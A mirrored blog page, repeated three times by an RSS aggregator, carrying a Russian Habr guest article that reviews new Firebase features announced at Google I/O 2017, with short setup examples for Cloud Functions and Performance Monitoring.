-Поиск по дневнику

Поиск сообщений в rss_rss_hh_full

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 1

Habrahabr








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Firebase на I/O 2017: новые возможности

Четверг, 08 Июня 2017 г. 12:58 + в цитатник
Гостевая статья от участника Google I\O 2017 и GDG Lead в Нижнем НовгородеАлександра Денисова.

Привет Хабр! Совсем недавно в Маунтин-Вью, Калифорния прошла очередная международная конференция, посвященная технологиям Google — I/O 2017. Кто-то ездил на нее в Калифорнию, кто-то приходил на I/O Extended организованные региональными отделениями GDG комьюнити, кто-то смотрел трансляцию самостоятельно, а кто-то не смотрел вовсе (На всякий случай оставлю это тут: все сессии I/O 2017 в записи). О том насколько была хороша или не очень хороша конференция в этом году, мнения противоречивы, я могу сказать только лично от себя, мне очень понравилось.

Еще в прошлом году я сильно заинтересовался тем, что делают ребята из команды Firebase, и я даже писал об этом статью, по этому мне хочется рассказать вам, что нового появилось в экосистеме Firebase, и каким образом это можно использовать.

Интеграция с Fabric



О том что Google приобрел Fabric у Twitter я слышал уже некоторое время назад, но на I/O я воочию увидел групп менеджера из Fabric Рича Пэрета из Fabric и кофаундера Firebase Эндрю Ли на одной сцене, обсуждающих перспективы объединения команд и дружески подкалывающих друг друга.



Итак, что же мы получили в результате этого слияния? Во-первых, Crahslytics в скором времени будет интегрирован в Firebase как основное решение для crash reporting! Уже сейчас в консоли Crash Reporting мы видим приглашение установить сервис Crashlytics и поучаствовать в его тестировании, а в скором времени он полностью заменит Firebase Crash Reporting.



Во-вторых, интеграция с сервисом Digits теперь позволяет аутентификацию по номеру телефона! Бесплатно можно будет осуществлять 10 тысяч аутентификаций в месяц, что вполне должно покрыть нужды разработчиков. А Digits SDK как самостоятельный продукт в ближайшее время получит статус deprecated.



Я немедленно захотел прикрутить авторизацию по телефону к своему приложению и показать, как же просто это сделать, но как выяснилось сервис сейчас доступен только для iOS и WEB разработчиков, Android версию придется подождать еще пару недель.

Динамический хостинг с Firebase Cloud Functions


Еще в марте, на Google NEXT’17, ребята из команды Firebase рассказали о запуске нового сервиса Cloud Functions for Firebase. Сервис предоставляет возможность размещать небольшие JavaScript функции непосредственно в Google Cloud инфраструктуре, и исполнять их в качестве реакции на события, вызванные сервисами Firebase или HTTP запросами.

Это позволяет кастомизировать или расширять стандартную работу сервисов Firebase своими фичами, такими как отправка welcome email каждому новому пользователю (Authentication), отслеживать и удалять ненормативную лексику в постах или чатах (Realtime Database), конвертировать изображения при загрузке в хранилище (Storage) и тп.

Для тех кто не пробовал, покажу пример применения Cloud Functions. Возьмем из GitHub исходники FriendlyChat, приложения создание которого я описывал в прошлогодней статье. Привяжем его к чистому Firebase проекту и добавим Cloud Function, которая будет автоматически приветствовать всех новых пользователей в чате.

Первым делом придется установить Node.js, а затем установить Firebase Command Line Interface (CLI) командой:

npm -g install firebase-tools

авторизоваться в интерфейсе командой

firebase login

создать папку для своего проекта, перейти в нее и создать сам проект командой

firebase init functions

В результате в папке создастся структура проекта, заходим в папку functions и находим index.js, здесь и будут хранится наши функции. Если открыть файл, то в нем будет только одна строчка — const functions = require('firebase-functions'); — это собственно подключение Firebase SDK. Добавим туда подключение Admin SDK:

const admin = require('firebase-admin');
admin.initializeApp(functions.config().firebase);

Приготовления закончены, теперь имплементируем саму функцию, она будет срабатывать на событие создания нового пользователя в сервисе Authentication, то-есть когда пользователь заходит в чат в первый раз:

exports.addWelcomeMessages = functions.auth.user().onCreate(event => {
	  const user = event.data;
	  console.log('A new user signed in for the first time.');
	  const fullName = user.displayName || 'Anonymous';

  	// В базу данных будет положено сообщение от файрбез бота о добавлении нового пользователя
  	return admin.database().ref('messages').push({
    	name: 'Firebase Bot',
    	photoUrl: 'https://image.ibb.co/b7A7Sa/firebase_logo.png', // Firebase logo выгружен на первый попавшийся image hosting
    	text: '${fullName} signed in for the first time! Welcome!'
  });
});

Осталось выгрузить функцию в облако и все:


firebase deploy --only functions

можно запускать приложение, и после авторизации бот радостно приветствует нового пользователя в чате.

Но все это было представлено еще до I/O! Непосредственно на нем, Firebase представил новинку, которая должна порадовать сообщество веб-разработчиков. Сервис Firebase Hosting, который раньше позволял работать только со статическим контентом, был расширен интеграцией с Cloud Functions, и теперь работает с динамическим контентом, формируемым сервисом Cloud Functions.

Теперь разработчики занимающиеся progressive web приложениями, смогут полностью отказаться от своего сервера и использовать только Firebase.

Очень хочется привести примеры, но я еще не писал про Web разработку с помощью Firebase, и статья получилась бы слишком большой, поэтому ожидайте следующую, полностью посвященную разработке под Web и использованию Cloud Functions статью.

Firebase Performance Monitoring


Часто недостаточная производительность и/или стабильность приложения являются главной причиной недовольства пользователей. Но не всегда просто понять, почему приложение недостаточно производительно или стабильно, для помощи в этом нелегком деле, команда Firebase запустила в бета тестирование новый сервис Performance Monitoring. Firebase Performance Monitoring — это новый бесплатный инструмент, который поможет вам понять, когда плохой код или сложные сетевые условия влияют на ваш пользовательский интерфейс.

Для того чтоб сервис начал собирать данные о производительности вашего приложения, необходимо подключить Performance Monitoring SDK, после этого сервис сразу начнет собирать данные. Сервис будет предоставлять отчеты в виде так называемых трейсов (trace) — отчетов о производительности между двумя событиями в вашем приложении. Сразу после подключения начнут собираться данные для автоматических трейсов:

  • App start trace — измеряет время между тем когда пользователь запустил приложение и тем когда приложение отозвалось
  • App in background trace — измеряет время нахождения приложения в бекграунде
  • App in foreground trace — измеряет время активности приложения

Подключим сервис к приложению, чтобы посмотреть как это выглядит. Я взял стандартное приложение из google codelabs — FriendlyChat и подключил его к своей базе. Теперь подключим Performance Monitoring, для этого добавим в project-level build.gradle в секцию buildscript -> repositories:

jcenter() 

и в секцию buildscript -> dependencies

classpath 'com.google.firebase:firebase-plugins:1.1.0'

затем в app-level build.gradle в секцию dependencies

compile 'com.google.firebase:firebase-perf:10.2.6'

и под apply plugin: 'com.android.application'

apply plugin: 'com.google.firebase.firebase-perf'

Вуаля, сервис подключен, теперь автоматических трейсы запускаются при старте приложения.

Так как автоматических трейсов явно недостаточно, предоставлена возможность создавать кастомные трейсы, используя API предоставленное SDK. Их можно дополнять счетчиками событий, связанными с производительностью, например количество раз, когда UI был недоступен дольше чем заданный промежуток времени.

Кастомные трейсы добавляются предельно просто, перед участком кода, который мы хотим трассировать добавим:

Trace myTrace = FirebasePerformance.getInstance().newTrace("test_trace");
myTrace.start();

а после участка

myTrace.stop();

Я добавил трассировку загрузки изображения в чат, ну и ради интереса добавим счетчик

myTrace.incrementCounter("storage_load");

Но результаты в консоли доступны не сразу, они появятся там в течении 12-ти часов.



Усовершенствованная аналитика


Начну с того, что Firebase Analytics больше не существует, теперь сервис называется Google Analytics for Firebase, и это неспроста. Сервис был разработан совместно командами Firebase и Google Analytics, а все отчеты теперь доступны не только в консоли Firebase, но и в интерфейсе Google Analytics.





Новые типы отчетов StreamView и DebugView были представлены еще в начале года, но это не умаляет степень их полезности. StreamView визуализирует события по мере их поступления в Firebase Analytics и дает общее представление о том, как ваши пользователи взаимодействуют с вашим приложением в реальном времени, а не с задержкой до 12ти часов. А с помощью DebugView вы можете сразу увидеть, какие события регистрируются.



И еще одна новость, которую все так долго ждали, теперь аналитическую информацию по пользовательским событиям и параметрам можно будет посмотреть в отчетах непосредственно в консоли, а не выгружать данные в BigQuery, как это было необходимо ранее. Для этого нужно всего лишь настроить параметры отчета там же в консоли.

Добавилось еще много всяких интересных фич, интеграция с AdMob, автоматический Screen Tracking, бесплатный Storage Tier в BigQuery…. так что полагаю, что для аналитики все-таки тоже придется писать отдельную статью.

Firebase SDK — теперь в опенсорсе


Да, это именно так. Исходный код Firebase SDK теперь доступен для изучения на GitHub. Не весь конечно, на данный момент доступны исходники Firebase iOS SDK 4.0, Firebase JavaScript SDK 4.0 и Firebase Admin SDKs (Node.js, Java и Python). Следующим обещают выложить Android SDK, будем ждать с нетерпением.



Теперь можно будет поправлять Google, если что-то в коде вам не понравится! То есть теперь, если вы найдете какие-то, с вашей точки зрения, баги — можно будет просто создать issue через стандартный GitHub issue tracker и Firebase команда рассмотрит ее. Весь проект можно так же найти в Google Open Source Directory.

Приятные мелочи


И напоследок я вкратце расскажу о всяких приятных мелочах, которые были добавлены в уже существующие сервисы.

Realtime Database:

  • Расширены возможности, теперь доступно до 100000 одновременных подключений
  • Добавлена возможность профилирования, profiler позволяет анализировать скорость работы с данными, пропускную способность и время задержки в зависимости от уровня

Storage:

  • Добавлен мапинг на уже существующие cloud storage bucket’ы, теперь можно работать с ними через Firebase
  • Появилась возможность выбора региона, в котором будут хранится ваши данные. Это может быть полезно как с юридической точки зрения, так и с точки зрения производительности

Cloud Messaging:

  • Добавлена поддержка аутентификации на токенах для APN, и значительно упрощена логика соединения и регистрации в клиентском SDK.

TestLab:

  • Добавлены Game Loop support и FPS мониторинг, что в сочетании с Unity SDK и C++ SDK, представленными ранее, должно сделать Firebase привлекательной для разработчиков игр.
  • Добавлена возможность симуляции уровня сети, можно выбрать скорость подключения 4G, 3G и т.п.
  • В датацентре появились Google Pixel и Galaxy S7 для тестирования приложений на реальных устройствах последнего поколения
  • Появился доступ к Android O

А также, не привязываясь ни к какому из сервисов, еще добавлю что в iOS SDK была реализована поддержка Swift, что должно порадовать разработчиков под iOS работающих с Firebase.

Итак, какие можно сделать выводы? Ничего супер неожиданного и сногсшибательного на I/O представлено не было. Но Firebase растет, растет медленно и уверенно. Используя ее сервисы в качестве бэкэнда уже можно создавать вполне конкурентноспособные приложения, анализировать их работу, управлять их продвижением и монетизировать. И чем дальше, тем больше интересных инструментов появляется у пользователей.

P.S: На I/O было озвучено интересное предложение от от Firebase — программа Альфа (без VPN не откроется). У тех кто зарегистрируется и выразит свое желание участвовать в программе, будет возможность проверить обновления сервисов Firebase до их релиза. Они будут не идеальные (думаю, что местами совсем сырые), но, приняв участие в Альфа-сообществе, формируя фидбэки на еще не выпущенные продукты, вы поможете определить будущее Firebase!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330488/


Метки:  

Firebase на I/O 2017: новые возможности

Четверг, 08 Июня 2017 г. 12:58 + в цитатник
Гостевая статья от участника Google I\O 2017 и GDG Lead в Нижнем НовгородеАлександра Денисова.

Привет Хабр! Совсем недавно в Маунтин-Вью, Калифорния прошла очередная международная конференция, посвященная технологиям Google — I/O 2017. Кто-то ездил на нее в Калифорнию, кто-то приходил на I/O Extended организованные региональными отделениями GDG комьюнити, кто-то смотрел трансляцию самостоятельно, а кто-то не смотрел вовсе (На всякий случай оставлю это тут: все сессии I/O 2017 в записи). О том насколько была хороша или не очень хороша конференция в этом году, мнения противоречивы, я могу сказать только лично от себя, мне очень понравилось.

Еще в прошлом году я сильно заинтересовался тем, что делают ребята из команды Firebase, и я даже писал об этом статью, по этому мне хочется рассказать вам, что нового появилось в экосистеме Firebase, и каким образом это можно использовать.

Интеграция с Fabric



О том что Google приобрел Fabric у Twitter я слышал уже некоторое время назад, но на I/O я воочию увидел групп менеджера из Fabric Рича Пэрета из Fabric и кофаундера Firebase Эндрю Ли на одной сцене, обсуждающих перспективы объединения команд и дружески подкалывающих друг друга.



Итак, что же мы получили в результате этого слияния? Во-первых, Crahslytics в скором времени будет интегрирован в Firebase как основное решение для crash reporting! Уже сейчас в консоли Crash Reporting мы видим приглашение установить сервис Crashlytics и поучаствовать в его тестировании, а в скором времени он полностью заменит Firebase Crash Reporting.



Во-вторых, интеграция с сервисом Digits теперь позволяет аутентификацию по номеру телефона! Бесплатно можно будет осуществлять 10 тысяч аутентификаций в месяц, что вполне должно покрыть нужды разработчиков. А Digits SDK как самостоятельный продукт в ближайшее время получит статус deprecated.



Я немедленно захотел прикрутить авторизацию по телефону к своему приложению и показать, как же просто это сделать, но как выяснилось сервис сейчас доступен только для iOS и WEB разработчиков, Android версию придется подождать еще пару недель.

Динамический хостинг с Firebase Cloud Functions


Еще в марте, на Google NEXT’17, ребята из команды Firebase рассказали о запуске нового сервиса Cloud Functions for Firebase. Сервис предоставляет возможность размещать небольшие JavaScript функции непосредственно в Google Cloud инфраструктуре, и исполнять их в качестве реакции на события, вызванные сервисами Firebase или HTTP запросами.

Это позволяет кастомизировать или расширять стандартную работу сервисов Firebase своими фичами, такими как отправка welcome email каждому новому пользователю (Authentication), отслеживать и удалять ненормативную лексику в постах или чатах (Realtime Database), конвертировать изображения при загрузке в хранилище (Storage) и тп.

Для тех кто не пробовал, покажу пример применения Cloud Functions. Возьмем из GitHub исходники FriendlyChat, приложения создание которого я описывал в прошлогодней статье. Привяжем его к чистому Firebase проекту и добавим Cloud Function, которая будет автоматически приветствовать всех новых пользователей в чате.

Первым делом придется установить Node.js, а затем установить Firebase Command Line Interface (CLI) командой:

npm -g install firebase-tools

авторизоваться в интерфейсе командой

firebase login

создать папку для своего проекта, перейти в нее и создать сам проект командой

firebase init functions

В результате в папке создастся структура проекта, заходим в папку functions и находим index.js, здесь и будут хранится наши функции. Если открыть файл, то в нем будет только одна строчка — const functions = require('firebase-functions'); — это собственно подключение Firebase SDK. Добавим туда подключение Admin SDK:

const admin = require('firebase-admin');
admin.initializeApp(functions.config().firebase);

Приготовления закончены, теперь имплементируем саму функцию, она будет срабатывать на событие создания нового пользователя в сервисе Authentication, то-есть когда пользователь заходит в чат в первый раз:

exports.addWelcomeMessages = functions.auth.user().onCreate(event => {
	  const user = event.data;
	  console.log('A new user signed in for the first time.');
	  const fullName = user.displayName || 'Anonymous';

  	// В базу данных будет положено сообщение от файрбез бота о добавлении нового пользователя
  	return admin.database().ref('messages').push({
    	name: 'Firebase Bot',
    	photoUrl: 'https://image.ibb.co/b7A7Sa/firebase_logo.png', // Firebase logo выгружен на первый попавшийся image hosting
    	text: '${fullName} signed in for the first time! Welcome!'
  });
});

Осталось выгрузить функцию в облако и все:


firebase deploy --only functions

можно запускать приложение, и после авторизации бот радостно приветствует нового пользователя в чате.

Но все это было представлено еще до I/O! Непосредственно на нем, Firebase представил новинку, которая должна порадовать сообщество веб-разработчиков. Сервис Firebase Hosting, который раньше позволял работать только со статическим контентом, был расширен интеграцией с Cloud Functions, и теперь работает с динамическим контентом, формируемым сервисом Cloud Functions.

Теперь разработчики занимающиеся progressive web приложениями, смогут полностью отказаться от своего сервера и использовать только Firebase.

Очень хочется привести примеры, но я еще не писал про Web разработку с помощью Firebase, и статья получилась бы слишком большой, поэтому ожидайте следующую, полностью посвященную разработке под Web и использованию Cloud Functions статью.

Firebase Performance Monitoring


Часто недостаточная производительность и/или стабильность приложения являются главной причиной недовольства пользователей. Но не всегда просто понять, почему приложение недостаточно производительно или стабильно, для помощи в этом нелегком деле, команда Firebase запустила в бета тестирование новый сервис Performance Monitoring. Firebase Performance Monitoring — это новый бесплатный инструмент, который поможет вам понять, когда плохой код или сложные сетевые условия влияют на ваш пользовательский интерфейс.

Для того чтоб сервис начал собирать данные о производительности вашего приложения, необходимо подключить Performance Monitoring SDK, после этого сервис сразу начнет собирать данные. Сервис будет предоставлять отчеты в виде так называемых трейсов (trace) — отчетов о производительности между двумя событиями в вашем приложении. Сразу после подключения начнут собираться данные для автоматических трейсов:

  • App start trace — измеряет время между тем когда пользователь запустил приложение и тем когда приложение отозвалось
  • App in background trace — измеряет время нахождения приложения в бекграунде
  • App in foreground trace — измеряет время активности приложения

Подключим сервис к приложению, чтобы посмотреть как это выглядит. Я взял стандартное приложение из google codelabs — FriendlyChat и подключил его к своей базе. Теперь подключим Performance Monitoring, для этого добавим в project-level build.gradle в секцию buildscript -> repositories:

jcenter() 

и в секцию buildscript -> dependencies

classpath 'com.google.firebase:firebase-plugins:1.1.0'

затем в app-level build.gradle в секцию dependencies

compile 'com.google.firebase:firebase-perf:10.2.6'

и под apply plugin: 'com.android.application'

apply plugin: 'com.google.firebase.firebase-perf'

Вуаля, сервис подключен, теперь автоматических трейсы запускаются при старте приложения.

Так как автоматических трейсов явно недостаточно, предоставлена возможность создавать кастомные трейсы, используя API предоставленное SDK. Их можно дополнять счетчиками событий, связанными с производительностью, например количество раз, когда UI был недоступен дольше чем заданный промежуток времени.

Кастомные трейсы добавляются предельно просто, перед участком кода, который мы хотим трассировать добавим:

Trace myTrace = FirebasePerformance.getInstance().newTrace("test_trace");
myTrace.start();

а после участка

myTrace.stop();

Я добавил трассировку загрузки изображения в чат, ну и ради интереса добавим счетчик

myTrace.incrementCounter("storage_load");

Но результаты в консоли доступны не сразу, они появятся там в течении 12-ти часов.



Усовершенствованная аналитика


Начну с того, что Firebase Analytics больше не существует, теперь сервис называется Google Analytics for Firebase, и это неспроста. Сервис был разработан совместно командами Firebase и Google Analytics, а все отчеты теперь доступны не только в консоли Firebase, но и в интерфейсе Google Analytics.





Новые типы отчетов StreamView и DebugView были представлены еще в начале года, но это не умаляет степень их полезности. StreamView визуализирует события по мере их поступления в Firebase Analytics и дает общее представление о том, как ваши пользователи взаимодействуют с вашим приложением в реальном времени, а не с задержкой до 12ти часов. А с помощью DebugView вы можете сразу увидеть, какие события регистрируются.



И еще одна новость, которую все так долго ждали, теперь аналитическую информацию по пользовательским событиям и параметрам можно будет посмотреть в отчетах непосредственно в консоли, а не выгружать данные в BigQuery, как это было необходимо ранее. Для этого нужно всего лишь настроить параметры отчета там же в консоли.

Добавилось еще много всяких интересных фич, интеграция с AdMob, автоматический Screen Tracking, бесплатный Storage Tier в BigQuery…. так что полагаю, что для аналитики все-таки тоже придется писать отдельную статью.

Firebase SDK — теперь в опенсорсе


Да, это именно так. Исходный код Firebase SDK теперь доступен для изучения на GitHub. Не весь конечно, на данный момент доступны исходники Firebase iOS SDK 4.0, Firebase JavaScript SDK 4.0 и Firebase Admin SDKs (Node.js, Java и Python). Следующим обещают выложить Android SDK, будем ждать с нетерпением.



Теперь можно будет поправлять Google, если что-то в коде вам не понравится! То есть теперь, если вы найдете какие-то, с вашей точки зрения, баги — можно будет просто создать issue через стандартный GitHub issue tracker и Firebase команда рассмотрит ее. Весь проект можно так же найти в Google Open Source Directory.

Приятные мелочи


И напоследок я вкратце расскажу о всяких приятных мелочах, которые были добавлены в уже существующие сервисы.

Realtime Database:

  • Расширены возможности, теперь доступно до 100000 одновременных подключений
  • Добавлена возможность профилирования, profiler позволяет анализировать скорость работы с данными, пропускную способность и время задержки в зависимости от уровня

Storage:

  • Добавлен мапинг на уже существующие cloud storage bucket’ы, теперь можно работать с ними через Firebase
  • Появилась возможность выбора региона, в котором будут хранится ваши данные. Это может быть полезно как с юридической точки зрения, так и с точки зрения производительности

Cloud Messaging:

  • Добавлена поддержка аутентификации на токенах для APN, и значительно упрощена логика соединения и регистрации в клиентском SDK.

TestLab:

  • Добавлены Game Loop support и FPS мониторинг, что в сочетании с Unity SDK и C++ SDK, представленными ранее, должно сделать Firebase привлекательной для разработчиков игр.
  • Добавлена возможность симуляции уровня сети, можно выбрать скорость подключения 4G, 3G и т.п.
  • В датацентре появились Google Pixel и Galaxy S7 для тестирования приложений на реальных устройствах последнего поколения
  • Появился доступ к Android O

А также, не привязываясь ни к какому из сервисов, еще добавлю что в iOS SDK была реализована поддержка Swift, что должно порадовать разработчиков под iOS работающих с Firebase.

Итак, какие можно сделать выводы? Ничего супер неожиданного и сногсшибательного на I/O представлено не было. Но Firebase растет, растет медленно и уверенно. Используя ее сервисы в качестве бэкэнда уже можно создавать вполне конкурентноспособные приложения, анализировать их работу, управлять их продвижением и монетизировать. И чем дальше, тем больше интересных инструментов появляется у пользователей.

P.S: На I/O было озвучено интересное предложение от от Firebase — программа Альфа (без VPN не откроется). У тех кто зарегистрируется и выразит свое желание участвовать в программе, будет возможность проверить обновления сервисов Firebase до их релиза. Они будут не идеальные (думаю, что местами совсем сырые), но, приняв участие в Альфа-сообществе, формируя фидбэки на еще не выпущенные продукты, вы поможете определить будущее Firebase!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330488/


Метки:  

Firebase на I/O 2017: новые возможности

Четверг, 08 Июня 2017 г. 12:58 + в цитатник
Гостевая статья от участника Google I\O 2017 и GDG Lead в Нижнем НовгородеАлександра Денисова.

Привет Хабр! Совсем недавно в Маунтин-Вью, Калифорния прошла очередная международная конференция, посвященная технологиям Google — I/O 2017. Кто-то ездил на нее в Калифорнию, кто-то приходил на I/O Extended организованные региональными отделениями GDG комьюнити, кто-то смотрел трансляцию самостоятельно, а кто-то не смотрел вовсе (На всякий случай оставлю это тут: все сессии I/O 2017 в записи). О том насколько была хороша или не очень хороша конференция в этом году, мнения противоречивы, я могу сказать только лично от себя, мне очень понравилось.

Еще в прошлом году я сильно заинтересовался тем, что делают ребята из команды Firebase, и я даже писал об этом статью, по этому мне хочется рассказать вам, что нового появилось в экосистеме Firebase, и каким образом это можно использовать.

Интеграция с Fabric



О том что Google приобрел Fabric у Twitter я слышал уже некоторое время назад, но на I/O я воочию увидел групп менеджера из Fabric Рича Пэрета из Fabric и кофаундера Firebase Эндрю Ли на одной сцене, обсуждающих перспективы объединения команд и дружески подкалывающих друг друга.



Итак, что же мы получили в результате этого слияния? Во-первых, Crahslytics в скором времени будет интегрирован в Firebase как основное решение для crash reporting! Уже сейчас в консоли Crash Reporting мы видим приглашение установить сервис Crashlytics и поучаствовать в его тестировании, а в скором времени он полностью заменит Firebase Crash Reporting.



Во-вторых, интеграция с сервисом Digits теперь позволяет аутентификацию по номеру телефона! Бесплатно можно будет осуществлять 10 тысяч аутентификаций в месяц, что вполне должно покрыть нужды разработчиков. А Digits SDK как самостоятельный продукт в ближайшее время получит статус deprecated.



Я немедленно захотел прикрутить авторизацию по телефону к своему приложению и показать, как же просто это сделать, но как выяснилось сервис сейчас доступен только для iOS и WEB разработчиков, Android версию придется подождать еще пару недель.

Динамический хостинг с Firebase Cloud Functions


Еще в марте, на Google NEXT’17, ребята из команды Firebase рассказали о запуске нового сервиса Cloud Functions for Firebase. Сервис предоставляет возможность размещать небольшие JavaScript функции непосредственно в Google Cloud инфраструктуре, и исполнять их в качестве реакции на события, вызванные сервисами Firebase или HTTP запросами.

Это позволяет кастомизировать или расширять стандартную работу сервисов Firebase своими фичами, такими как отправка welcome email каждому новому пользователю (Authentication), отслеживать и удалять ненормативную лексику в постах или чатах (Realtime Database), конвертировать изображения при загрузке в хранилище (Storage) и тп.

Для тех кто не пробовал, покажу пример применения Cloud Functions. Возьмем из GitHub исходники FriendlyChat, приложения создание которого я описывал в прошлогодней статье. Привяжем его к чистому Firebase проекту и добавим Cloud Function, которая будет автоматически приветствовать всех новых пользователей в чате.

Первым делом придется установить Node.js, а затем установить Firebase Command Line Interface (CLI) командой:

npm -g install firebase-tools

авторизоваться в интерфейсе командой

firebase login

создать папку для своего проекта, перейти в нее и создать сам проект командой

firebase init functions

В результате в папке создастся структура проекта, заходим в папку functions и находим index.js, здесь и будут хранится наши функции. Если открыть файл, то в нем будет только одна строчка — const functions = require('firebase-functions'); — это собственно подключение Firebase SDK. Добавим туда подключение Admin SDK:

const admin = require('firebase-admin');
admin.initializeApp(functions.config().firebase);

Приготовления закончены, теперь имплементируем саму функцию, она будет срабатывать на событие создания нового пользователя в сервисе Authentication, то-есть когда пользователь заходит в чат в первый раз:

exports.addWelcomeMessages = functions.auth.user().onCreate(event => {
	  const user = event.data;
	  console.log('A new user signed in for the first time.');
	  const fullName = user.displayName || 'Anonymous';

  	// В базу данных будет положено сообщение от файрбез бота о добавлении нового пользователя
  	return admin.database().ref('messages').push({
    	name: 'Firebase Bot',
    	photoUrl: 'https://image.ibb.co/b7A7Sa/firebase_logo.png', // Firebase logo выгружен на первый попавшийся image hosting
    	text: '${fullName} signed in for the first time! Welcome!'
  });
});

Осталось выгрузить функцию в облако и все:


firebase deploy --only functions

можно запускать приложение, и после авторизации бот радостно приветствует нового пользователя в чате.

Но все это было представлено еще до I/O! Непосредственно на нем, Firebase представил новинку, которая должна порадовать сообщество веб-разработчиков. Сервис Firebase Hosting, который раньше позволял работать только со статическим контентом, был расширен интеграцией с Cloud Functions, и теперь работает с динамическим контентом, формируемым сервисом Cloud Functions.

Теперь разработчики занимающиеся progressive web приложениями, смогут полностью отказаться от своего сервера и использовать только Firebase.

Очень хочется привести примеры, но я еще не писал про Web разработку с помощью Firebase, и статья получилась бы слишком большой, поэтому ожидайте следующую, полностью посвященную разработке под Web и использованию Cloud Functions статью.

Firebase Performance Monitoring


Часто недостаточная производительность и/или стабильность приложения являются главной причиной недовольства пользователей. Но не всегда просто понять, почему приложение недостаточно производительно или стабильно, для помощи в этом нелегком деле, команда Firebase запустила в бета тестирование новый сервис Performance Monitoring. Firebase Performance Monitoring — это новый бесплатный инструмент, который поможет вам понять, когда плохой код или сложные сетевые условия влияют на ваш пользовательский интерфейс.

Для того чтоб сервис начал собирать данные о производительности вашего приложения, необходимо подключить Performance Monitoring SDK, после этого сервис сразу начнет собирать данные. Сервис будет предоставлять отчеты в виде так называемых трейсов (trace) — отчетов о производительности между двумя событиями в вашем приложении. Сразу после подключения начнут собираться данные для автоматических трейсов:

  • App start trace — измеряет время между тем когда пользователь запустил приложение и тем когда приложение отозвалось
  • App in background trace — измеряет время нахождения приложения в бекграунде
  • App in foreground trace — измеряет время активности приложения

Подключим сервис к приложению, чтобы посмотреть как это выглядит. Я взял стандартное приложение из google codelabs — FriendlyChat и подключил его к своей базе. Теперь подключим Performance Monitoring, для этого добавим в project-level build.gradle в секцию buildscript -> repositories:

jcenter() 

и в секцию buildscript -> dependencies

classpath 'com.google.firebase:firebase-plugins:1.1.0'

затем в app-level build.gradle в секцию dependencies

compile 'com.google.firebase:firebase-perf:10.2.6'

и под apply plugin: 'com.android.application'

apply plugin: 'com.google.firebase.firebase-perf'

Вуаля, сервис подключен, теперь автоматических трейсы запускаются при старте приложения.

Так как автоматических трейсов явно недостаточно, предоставлена возможность создавать кастомные трейсы, используя API предоставленное SDK. Их можно дополнять счетчиками событий, связанными с производительностью, например количество раз, когда UI был недоступен дольше чем заданный промежуток времени.

Кастомные трейсы добавляются предельно просто, перед участком кода, который мы хотим трассировать добавим:

Trace myTrace = FirebasePerformance.getInstance().newTrace("test_trace");
myTrace.start();

а после участка

myTrace.stop();

Я добавил трассировку загрузки изображения в чат, ну и ради интереса добавим счетчик

myTrace.incrementCounter("storage_load");

Но результаты в консоли доступны не сразу, они появятся там в течении 12-ти часов.



Усовершенствованная аналитика


Начну с того, что Firebase Analytics больше не существует, теперь сервис называется Google Analytics for Firebase, и это неспроста. Сервис был разработан совместно командами Firebase и Google Analytics, а все отчеты теперь доступны не только в консоли Firebase, но и в интерфейсе Google Analytics.





Новые типы отчетов StreamView и DebugView были представлены еще в начале года, но это не умаляет степень их полезности. StreamView визуализирует события по мере их поступления в Firebase Analytics и дает общее представление о том, как ваши пользователи взаимодействуют с вашим приложением в реальном времени, а не с задержкой до 12ти часов. А с помощью DebugView вы можете сразу увидеть, какие события регистрируются.



И еще одна новость, которую все так долго ждали, теперь аналитическую информацию по пользовательским событиям и параметрам можно будет посмотреть в отчетах непосредственно в консоли, а не выгружать данные в BigQuery, как это было необходимо ранее. Для этого нужно всего лишь настроить параметры отчета там же в консоли.

Добавилось еще много всяких интересных фич, интеграция с AdMob, автоматический Screen Tracking, бесплатный Storage Tier в BigQuery…. так что полагаю, что для аналитики все-таки тоже придется писать отдельную статью.

Firebase SDK — теперь в опенсорсе


Да, это именно так. Исходный код Firebase SDK теперь доступен для изучения на GitHub. Не весь конечно, на данный момент доступны исходники Firebase iOS SDK 4.0, Firebase JavaScript SDK 4.0 и Firebase Admin SDKs (Node.js, Java и Python). Следующим обещают выложить Android SDK, будем ждать с нетерпением.



Теперь можно будет поправлять Google, если что-то в коде вам не понравится! То есть теперь, если вы найдете какие-то, с вашей точки зрения, баги — можно будет просто создать issue через стандартный GitHub issue tracker и Firebase команда рассмотрит ее. Весь проект можно так же найти в Google Open Source Directory.

Приятные мелочи


И напоследок я вкратце расскажу о всяких приятных мелочах, которые были добавлены в уже существующие сервисы.

Realtime Database:

  • Расширены возможности, теперь доступно до 100000 одновременных подключений
  • Добавлена возможность профилирования, profiler позволяет анализировать скорость работы с данными, пропускную способность и время задержки в зависимости от уровня

Storage:

  • Добавлен мапинг на уже существующие cloud storage bucket’ы, теперь можно работать с ними через Firebase
  • Появилась возможность выбора региона, в котором будут хранится ваши данные. Это может быть полезно как с юридической точки зрения, так и с точки зрения производительности

Cloud Messaging:

  • Добавлена поддержка аутентификации на токенах для APN, и значительно упрощена логика соединения и регистрации в клиентском SDK.

TestLab:

  • Добавлены Game Loop support и FPS мониторинг, что в сочетании с Unity SDK и C++ SDK, представленными ранее, должно сделать Firebase привлекательной для разработчиков игр.
  • Добавлена возможность симуляции уровня сети, можно выбрать скорость подключения 4G, 3G и т.п.
  • В датацентре появились Google Pixel и Galaxy S7 для тестирования приложений на реальных устройствах последнего поколения
  • Появился доступ к Android O

А также, не привязываясь ни к какому из сервисов, еще добавлю что в iOS SDK была реализована поддержка Swift, что должно порадовать разработчиков под iOS работающих с Firebase.

Итак, какие можно сделать выводы? Ничего супер неожиданного и сногсшибательного на I/O представлено не было. Но Firebase растет, растет медленно и уверенно. Используя ее сервисы в качестве бэкэнда уже можно создавать вполне конкурентноспособные приложения, анализировать их работу, управлять их продвижением и монетизировать. И чем дальше, тем больше интересных инструментов появляется у пользователей.

